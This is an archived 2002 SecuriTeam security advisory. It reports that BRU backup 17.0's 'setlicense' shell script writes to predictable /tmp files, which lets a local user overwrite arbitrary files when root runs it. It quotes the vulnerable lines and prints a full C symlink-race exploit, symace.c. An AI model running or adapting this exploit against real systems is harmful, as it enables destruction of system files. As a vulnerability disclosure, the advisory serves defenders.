[UNIX] BRU Backup Program Vulnerable to Symlink Attack

From: support@securiteam.com
Date: 02/04/02


From: support@securiteam.com
To: list@securiteam.com
Date: Mon,  4 Feb 2002 11:23:08 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  BRU Backup Program Vulnerable to Symlink Attack
------------------------------------------------------------------------

SUMMARY

 <backup > BRU (now known as Tolis Group) provides fully verified backup
and restore operations and offers options for most conceivable data backup
and recovery needs. BRU is fully device independent, so it works with any
device or filesystem that is supported by your operating system.

The usage of insecure tmp files in some of the various shell scripts,
which allows you to overwrite arbitrary files with 'foobar'. Since this
script would most likely be run by root, it allows you to overwrite any
files you want.

DETAILS

Vulnerable systems:
BRU version 17.0

Exploit:
This is the beginnings of the 'setlicense' shell script.

#!/bin/sh
printf "%s" foobar >/tmp/brutest.$$ 2>&1
res=`cat /tmp/brutest.$$`
rm -f /tmp/brutest.$$
if test "$res" != "foobar"; then
        alias printf="echo -n -e"
fi

So all that needs to be done is create a fair amount of symbolic links in
the '/tmp' directory pointing to the file you want to overwrite.

---[ CUT ]---
/* symace.c -0.0.1 - A generic filesystem symlink/race thinger */

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>

/* Please note that there is no error checking... */
/* By Andrew Griffiths (nullptr@tasmail.com) */

int main(int argc, char **argv)
{
        char *overwrite;
        char *base;
        int start_pid, end_pid;
        int i, size;

        overwrite = strdup(argv[1]);
        size = strlen(argv[2]) + 8 + 1;
        base = malloc(size);
        start_pid=atoi(argv[3]);
        end_pid=atoi(argv[4]);

        for(i=start_pid;i<end_pid;i++) {
                memset(base, 0, size-1);
                snprintf(base, size-1, "%s%d", argv[2], i);
                if(symlink(overwrite, base)==-1) {
                        printf("Unable to create %s bailing\n", base);
                        exit(EXIT_FAILURE);
                }
        }
        printf("done\n");
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:andrewg@tasmail.com> Andrew
Griffiths.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.